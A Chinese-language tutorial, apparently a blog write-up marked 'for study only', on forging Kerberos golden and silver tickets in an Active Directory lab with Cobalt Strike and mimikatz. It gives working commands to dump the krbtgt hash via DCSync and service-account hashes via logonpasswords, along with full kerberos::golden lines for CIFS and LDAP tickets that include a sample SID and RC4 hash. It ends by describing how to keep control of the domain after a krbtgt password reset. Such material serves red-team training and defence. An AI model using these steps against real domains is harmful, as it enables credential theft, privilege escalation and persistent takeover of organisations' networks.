黄金/白银票据制作

免责声明：该文章仅提供学习交流，若用于违法行为与本人无关

目录

一、黄金票据

1、黄金票据原理

2、黄金票据制作前提

3、制作过程

（1）域内机器win7访问域控的C$的文件目录，被拒绝访问

（2）在域控机器上收集制作黄金票据所需要的数据即域的SID、krbtgt的NTLM HASH、域名

（3）制作黄金票据（TGT）

注意首先要清除原有票据

在Access下的Golden Ticket进行黄金票据制作

需要填入伪造的用户、域名、域的SID号、krbtgt的NTLM HASH

伪造票据成功，票据注入内存成功

二、白银票据

        1、白银票据原理

        2、白银票据制作前提

        3、制作过程

        （1）域内机器win7访问域控的C$的文件目录，被拒绝访问

        （2）在域控机器收集域名、域SID号、服务的NTLM HASH

（3）伪造访问CIFS服务的ST票据

票据伪造并注入成功

---

一、黄金票据

1、黄金票据原理

      黄金票据即为kerberos认证过程中的票据授予票据即（TGT）和Logon Session Key（CT_SK），TGT票据是由域控的krbtgt用户的NTLM HASH加密和签名的又是固定的，并且身份认证服务（AS）返回的CT_SK并不会存储在密钥分发中心（KDC）中。而且有了TGT票据Client和票据授予服务（TGS）交互时不会进行AS认证，即只要krbtgt密码不被修改一直可以控制域控。

2、黄金票据制作前提

      控制了域控并且使用域管理员登录或者提权的System用户登录、知道域的SID号和域名 、域的krbtgt用户的NTLM HASH，即可以伪造域黄金票据

3、制作过程

        工具：Cobalt Strike，windows 2012为域控机器，域内机器windows 7 

        用户：域控登录用户administrator为域管用户，域内机器登录用户为win7普通用户

（1）域内机器win7访问域控的C$的文件目录，被拒绝访问

（2）在域控机器上收集制作黄金票据所需要的数据即域的SID、krbtgt的NTLM HASH、域名

whoami /user   # 查看域的sid号

 

net config workstation  # 查看域信息

mimikatz lsadump::dcsync /domain:xxx.com /user:krbtgt  # 获取krbtgt的NTLM HASH

（3）制作黄金票据（TGT）

注意首先要清除原有票据

mimikatz kerberos::purge   # 清除票据
mimikatz kerberos::tgt     # 查看票据

在Access下的Golden Ticket进行黄金票据制作

需要填入伪造的用户、域名、域的SID号、krbtgt的NTLM HASH

伪造票据成功，票据注入内存成功

二、白银票据

        1、白银票据原理

                白银票据为kerberos认证过程中票据授予服务（TGS）返回给客户端的服务授予票据（ST），ST票据是由服务账号的NTLM HASH加密的，即获取服务的NTLM HASH即可伪造白银票据，一张白银票据只能访问一种服务。

        2、白银票据制作前提

                控制了域控并且使用域管理员登录或者提权的System用户登录、知道域的SID号和域名 、服务用户的NTLM HASH，即可以伪造域白银票据

        3、制作过程

        （1）域内机器win7访问域控的C$的文件目录，被拒绝访问

        

        （2）在域控机器收集域名、域SID号、服务的NTLM HASH

whoami /user   # 查看域的sid号

mimikatz sekurlsa::logonpasswords    # 获取服务账号的NTLM HASH

        （3）伪造访问CIFS服务的ST票据

mimikatz kerberos::golden /domain:xxx.com /sid:S-1-5-21-1689890018-1579582480-2028816830 /target:win2012.xxx.com /service:cifs /rc4:413b48be059eb07bc98becbecf6e2955 /user:qqqq /ptt

票据伪造并注入成功

无法获取krbtgt服务的NTLM HASH，需要在注入一张访问LDAP服务的票据

伪造访问ldap服务的ST票据

mimikatz kerberos::golden /domain:xxx.com /sid:S-1-5-21-1689890018-1579582480-2028816830 /target:win2012.xxx.com /service:ldap /rc4:413b48be059eb07bc98becbecf6e2955 /user:qqqq /ptt

mimikatz lsadump::dcsync /domain:xxx.com /user:krbtgt  # 获取krbtgt的NTLM HASH

krbtgtNTLM HASH获取成功，管理员即使改了krbtgt密码并没有修服务账号密码即可继续控制域控